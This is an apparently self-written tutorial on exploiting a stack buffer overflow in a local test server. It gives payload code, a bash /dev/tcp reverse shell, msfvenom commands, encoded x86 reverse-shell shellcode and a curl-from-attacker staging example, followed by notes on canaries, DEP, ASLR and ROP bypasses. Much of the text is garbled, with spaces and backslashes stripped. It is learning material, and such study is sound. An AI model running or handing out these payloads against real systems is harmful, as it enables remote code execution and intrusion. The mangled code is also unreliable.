Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands
Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a
bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode
python-cprintx901040+x454+x904
Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs
Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect
thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545
MESSAGE=x901040+x454+x901000
Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly
x45454545
Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our
NOPSletsruntheattackwiththefollowinglogicintheclientpy
MESSAGE=x901040+x454+x901000
Letrsquosswitchsomethingsupandtryanewdebuggerhellip
1 Server1337
2 Fromterminal2rarredb
3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo
4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)
5 UpdateyourclientPoCcode
6 pythonclientPoCpy1337
CodeChanges
malware=(x41100)
eip=x424
ending=x90200
nopsled=(x90(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly
Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand
corner
Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points
to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At
memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware
Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump
intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor
aJMPESPopcodetofindamemorylocationwiththatinstruction
1 runthevulnerableserver
2 startupedbdebuggerandattackthevulnerableserver
3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP
4 Manuallysearchthrougheachloadedbinaryandclicksearch
0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU
tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder
So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the
futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun
Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow
binsh-igtampdevtcp12700144440gtamp1
Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in
one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It
lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)
The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate
a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and
not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there
isanaddedlayerofcomplexity
LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes
ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs
NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general
sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as
register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often
abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine
codeinstructionsrdquo
So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But
when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing
the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work
helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos
So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters
commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it
any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the
registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip
PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip
binsh-igtampdevtcp12700144440gtamp1
encodesto
x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x
2fx34x34x34x34x20x30x3ex26x31
Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly
from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a
simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX
To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86
encodedcommandthatthekernelcaninterpret
binsh-igtampdevtcp12700144440gtamp1
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
x86encodedShellCode
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01
xd8x7dxf3xdcx9b
TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully
understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally
worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders
- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform
- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina
singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos
ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is
malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced
- f=formathellipThatcanberawCJSPshelletcetc
- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore
- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere
Wheredoweputourmalware
While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the
clientpyscriptputtingthemalwarebeforeEIPlookslikethis
NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS
Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is
important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left
manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior
because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory
address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and
unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto
HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow
malware=x41x30
eip=x97xcfxfaxb7
eip=x41x41x41x41
ending=x90200
nopsled=(x41(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then
look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote
with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register
pointertojumpintothenopsled
One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that
specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that
can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out
bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo
for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell
codeaftertheEIPsowecanjumpintoESP
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip
x86encodedShellCodewBadCharacters(Fornextsection)
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01
xd8x7dxf3xdcx9bx00x00
Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade
UpdatedclientpyCodewiththeldquoBadCharactercoderdquo
Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the
clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and
overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a
connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection
willfail
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or
WHOIScommandsLetrsquosinvestigate
1 RightclickEIPinRegisterWindowsrarrFollowinDump
2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending
3 Lookforx00commandsandtrytonoticeanythingorstrange
WhattheTargetMachineSees
Whatwesentover
We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc
etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does
not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP
CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence
of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into
various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad
charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard
So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and
omitcharacters
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow
ofhellip
1 UseagiantblobofallASCIcharactersinHEX
2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline
Howtotestforbadcharactersandotherassemblyandregisterissues
Terminal1Server1337
Terminal2edb(orGDBIwonrsquotjudge)
fromedbrarrattachrarrServer
fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning
Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory
Yoursquollbelookingforx41orx90rsquos
Option1-AlltheASCII
x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10
x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20
x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30
x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40
x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50
x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60
x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70
x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80
x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90
x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0
xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0
xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0
xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0
xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0
xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff
Option2-Testsomespecificcommands
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto
thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest
Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution
ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime
issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo
KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor
hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO
commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell
NewPayload
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode
FinalResults
SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere
theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback
toourldquoattackingrdquoterminal(farthestright)
CommonBufferOverflowExampleandMitigations(inC)
WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare
morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated
stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline
orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()
andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe
assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe
registersofacompiledbinaryorreviewingtheoutputfromGHIDRA
gets
Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability
VulnerableCode(SOURCE)
printfexternallink(Inputsomethingnastyhere)
gets(something)
VulnerableCode(ASSEMBLY)
FixedCode
printfexternallink(Inputsomethingnastyhere)
fgets(usernameLENGTHstdin)
strcpy
Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone
contiguoustomemorywherethepayloadisstored
VulnerableCode
charstr1[10]
charstr2[]=badstuffhere
strcpy(str1str2)
FixedCode(SOURCE)
enumBUFFER_LIMIT=1024
intmain()
chardst[BUFFER_LIMIT]
charsrc[]=badstuffhere
intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)
if(buffer_lengthgt=BUFFER_LIMIT)
printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn
buffer_lengthBUFFER_LIMIT-1)
VulnerableCode(ASSEMBLY)
Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows
FixedCode(SOURCE)
enumBUFFER_BOUNDARY_SIZE=1024
charstr1[BUFFER_BOUNDARY_SIZE]
charstr2[]=badstuffhere
strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize
strcat
YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto
thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin
sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied
FixedCode(SOURCE)
defineBUFFER_BOUNDARY_SIZE1024
charbuff[BUFFER_BOUNDARY_SIZE]
Usesecurestrncpythenuse
strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)
buff[BUFFER_BOUNDARY_SIZE-1]=0
strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)
strcmp
ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach
otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot
validatethesizeoftheinputagainstthepredefinedbuffer
OtherMitigationstoBufferOverflows
During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable
ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the
following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits
need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my
own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the
newcomertodiptheirtoesintothesubjects
Canary
A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions
prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary
ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps
detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly
overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith
https0x00secorgtexploit-mitigation-techniques-stack-canaries5085
httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained
httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf
DEP-DataExecutionProtection
DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware
executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as
non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns
For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag
of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other
linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow
security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks
forroutineswithanytypeofbuffer
In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get
the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the
bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP
setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may
introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP
httpslwnnetArticles422487
httpslinuxdienetman8execstack
httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in
httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your
httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae
BypassingDEP
Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to
David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view
ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining
So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu
will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you
overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary
arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in
linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable
in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another
option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in
the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the
application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of
instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope
somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle
ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot
intendtohavethewordldquoheartrdquodidherdquo
Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your
payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP
gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET
instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps
An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute
ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script
which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1
But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it
difficulttocallexecve()orsystem()
Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove
found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create
a new executable space or change the flag for existing executable space However finding the memory addresses to these functions
andcallingthemappearstobeadifferentstory
httpsgithubcomJonathanSalwanROPgadget
httpswwwrapid7comresourcesrop-exploit-explained
httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf
httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf
httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi
ng-chains]pdf
ASLR(Addressspacelayoutrandomization)
Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation
BypassingASLR
Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and
windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible
chunksandhopefullythishelpsguidemyselfandotherfurtherstudies
NonASLRlinkedbinaries
It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with
some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something
that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR
enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the
memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program
with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass
ASLRandbeginaROPattack
httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf
httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf
PointerLeaksDanglingPointers
If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot
for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code
into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE
which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory
object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that
